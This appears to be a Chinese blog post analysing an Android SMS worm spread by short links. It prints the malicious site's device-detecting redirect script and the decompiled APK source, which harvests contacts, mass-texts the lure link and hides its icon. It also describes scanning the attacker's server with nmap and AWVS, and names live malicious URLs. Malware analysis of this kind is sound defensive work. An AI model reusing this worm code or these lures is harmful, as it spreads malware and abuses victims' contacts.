某安卓恶意程序分析

来源:互联网 发布:如何用网络电视看直播 编辑:程序博客网 时间:2024/05/04 13:35

背景:某同事收到一条短信,内容大概为我们聚会的照片我上传到了http://t.cn/RGfj0LP,请查看。该同事使用的是华为安卓手机,点击后自动给通讯录中的所有人都转发了相同内容的短信,由于同事之间互相信任的关系,多个同事都中招了。出于个人兴趣,针对这条短信进行了一下简单的分析:

1、直接通过浏览器访问http://t.cn/RGfj0LP时,页面会被转到360的一个提示页面,URL为:http://safe.webscan.360.cn/stopattack.html,页面提示截图如下:
这里写图片描述
2、直接命令行查看网站代码:

# curl t.cn/RGfj0LP<HTML><HEAD><TITLE>Moved Temporarily</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000"><H1>Moved Temporarily</H1>The document has moved <A HREF="http://meidan.dlapka.com">here</A>.</BODY></HTML>

这里是通过新浪短域名t.cn/RGfj0LP,指向地址为http://meidan.dlapka.com的URL;
继续查看http://meidan.dlapka.com上的网页代码:

# curl http://meidan.dlapka.com<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Language" content="zh-CN"><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><script>function mobile_device_detect(a){var d,e,b=navigator.platform,c=new Array("android");for(d=0;d<c.length;d++)b.match(c[d])&&(window.location=a);-1!=navigator.platform.indexOf("iPod")&&(window.location=a),e=navigator.appVersion,e.match(/linux/i)&&(e.match(/mobile/i)||e.match(/X11/i))&&(window.location=a),Array.prototype.in_array=function(a){for(d=0;d<this.length;d++)if(this[d]==a)return!0;return!1}}mobile_device_detect("/23dde12fb4267f3e27b21.apk");</script><meta http-equiv="refresh" content="0.1;url=http://safe.webscan.360.cn/stopattack.html"></head><body></body></html>
页面上有个javascript代码mobile_device_detect,使用navigator.platform方法对客户端浏览器所在计算机平台的字符串进行匹配,如果是android的手机则将页面转向/23dde12fb4267f3e27b21.apk,一个APK应用程序。不匹配的话后边会将页面重定向到http://safe.webscan.360.cn/stopattack.html,迷惑使用PC访问短域名的用户。

3、直接下载APK应用包:

这里写图片描述
这里写图片描述

4、期间使用whatweb、nmap和AWVS友情扫描了一下:

这里写图片描述

这里写图片描述

这里写图片描述

这里写图片描述

网站架构为windows2003+IIS6,IIS6开启了HTTP服务(80端口)和FTP服务(2120端口);另外主机上还开放了终端服务(2002端口)以及RPC服务(1025和1026端口)。下载文件查看内容:

这里写图片描述
这里写图片描述

这里写图片描述
robots.txt文件没有什么信息,其他文件大小差不多,查看内容貌似是base64加密的页面,没有往下分析,因为文件后缀名称的问题,并不能执行,就没再做进一步的分析。
5、其他的一些相关信息搜集:
1)域名注册信息:
这里写图片描述
这里写图片描述
2)公司地址、电话:
这里写图片描述

6、APK程序简单分析:
1)APK权限:读取联系人信息、写短信、发短信。

这里写图片描述

2)将APK进行代码反编译:

package com.android.amduwksl;import android.app.Activity;import android.content.ContentResolver;import android.content.Intent;import android.content.pm.PackageManager;import android.database.Cursor;import android.os.Bundle;import android.os.Handler;import android.provider.ContactsContract.CommonDataKinds.Phone;import android.provider.ContactsContract.Contacts;import android.telephony.SmsManager;import android.view.Window;import android.widget.Toast;public class AppActivity  extends Activity{  public void hxzoiawm()  {    ContentResolver localContentResolver = getContentResolver();    Cursor localCursor1 = localContentResolver.query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);    if (!localCursor1.moveToNext())    {      localCursor1.close();      return;    }    String str1 = localCursor1.getString(localCursor1.getColumnIndex("_id"));    Cursor localCursor2 = localContentResolver.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, "contact_id = " + str1, null, null);    for (;;)    {      if (!localCursor2.moveToNext())      {        localCursor2.close();        break;      }      String str2 = localCursor2.getString(localCursor2.getColumnIndex("data1"));      String str3 = localCursor2.getString(localCursor2.getColumnIndex("display_name"));      if (str2.startsWith("1")) {        SmsManager.getDefault().sendTextMessage(str2, null, str3 + ",新年好。相片已经放到这上了 t.cn/RGfj6iM", null, null);      }    }  }  protected void onCreate(Bundle paramBundle)  {    super.onCreate(paramBundle);    hxzoiawm();    requestWindowFeature(1);    getWindow().setFlags(1024, 1024);    setContentView(2130903040);  }  protected void onPostCreate(Bundle paramBundle)  {    super.onPostCreate(paramBundle);    new Runnable()    {      public void run() {}    }.run();    new Handler().postDelayed(new Runnable()    {      public void run()      {        AppActivity.this.getPackageManager().setComponentEnabledSetting(AppActivity.this.getComponentName(), 2, 1);        AppActivity.this.startService(new Intent("disk"));        AppActivity.this.finish();        Toast.makeText(AppActivity.this.getApplicationContext(), "检查完毕", 1).show();      }    }, 9900L);  }}

看代码的逻辑,应该是程序运行后使用方法getColumnIndex(“data1”)和getColumnIndex(“display_name”),遍历通信录,将姓名(我猜的),与“新年好。相片已经放到这上了 t.cn/RGfj6iM”拼装成消息内容,发送到联系人的手机号码上。
3)如何卸载恶意程序:
通过查看AndroidManifest.xml文件:
这里写图片描述
根据acdroid.intent.action.MAIN和android.intent.category.LAUNCHER的配置,参考网上的资料:

第一种情况:有MAIN,无LAUNCHER,程序列表中无图标。
原因:android.intent.category.LAUNCHER决定应用程序是否显示在程序列表里
第二种情况:无MAIN,有LAUNCHER,程序列表中无图标。
原因:android.intent.action.MAIN决定应用程序最先启动的Activity,如果没有Main,则不知启动哪个Activity,故也不会有图标出现。

说明程序列表中有程序图标,再根据配置文件中的app_name,查找相应的res资源文件:
这里写图片描述
可以知道该APP伪装成“检查更新”程序,直接卸载该程序即可清除该恶意软件。

0 0
原创粉丝点击